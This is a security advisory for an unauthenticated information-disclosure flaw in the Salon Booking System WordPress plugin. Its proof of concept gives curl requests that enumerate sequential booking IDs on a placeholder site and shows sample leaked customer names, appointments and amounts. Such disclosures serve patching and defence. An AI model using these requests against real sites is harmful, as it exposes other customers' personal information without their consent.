Salon Booking System – Free Version < 10.30.34 – Unauthenticated Booking Information Disclosure via Booking Wizard | CVE 2026-17022

Description

The plugin does not properly validate a booking's ownership token before loading it in its booking-wizard confirmation steps, allowing unauthenticated attackers to disclose other customers' booking records, including personal information, by supplying a sequential booking identifier.

Proof of Concept

Prerequisites:
- Salon Booking System – Free Version (<= 10.30.33) is active, with a public page (here https://victim.example/booking/) containing the [salon_booking] shortcode.
- At least one booking exists. Booking IDs are sequential WordPress post IDs; enumerate 1..N.
- The thankyou disclosure works for any booking in any status. The summary PII disclosure (customer name + appointment) additionally requires the salon to have more than one service configured (the default for a real salon) and the target booking to be in a pending status.
- All requests are unauthenticated (no cookies).

# --- TEST 1: booking disclosure (any status), thankyou step ---
curl -s 'https://victim.example/booking/?sln_step_page=thankyou&op=x-8'
# Returns another customer's booking, e.g.:
#   booking id 8, status "Your booking is completed"
#   window.dataLayer.push({ event:'salonBookingComplete',
#       serviceName:'ZZSECRETFACIAL7788', bookedAssistantName:'ZZSECRETSTYLIST9911',
#       totalAmount:'777.77', bookingId:'8' });

# --- TEST 2: customer PII (name + appointment), summary step, pending booking ---
curl -s 'https://victim.example/booking/?sln_step_page=summary&sln_booking_id=9'
# Returns:
#   Dear ZZVICTIMBOB ZZSECRETLASTB,
#   please review and confirm the details of your booking:
#   20 Sep 2026 / 11:00  (service ZZSECRETFACIAL7788, attendant ZZSECRETSTYLIST9911)

# --- Negative control: bogus id -> empty (proves tokenless, id-controlled retrieval) ---
curl -s 'https://victim.example/booking/?sln_step_page=thankyou&op=x-999999'
#   serviceName:'', bookedAssistantName:'', totalAmount:'0.00', bookingId:''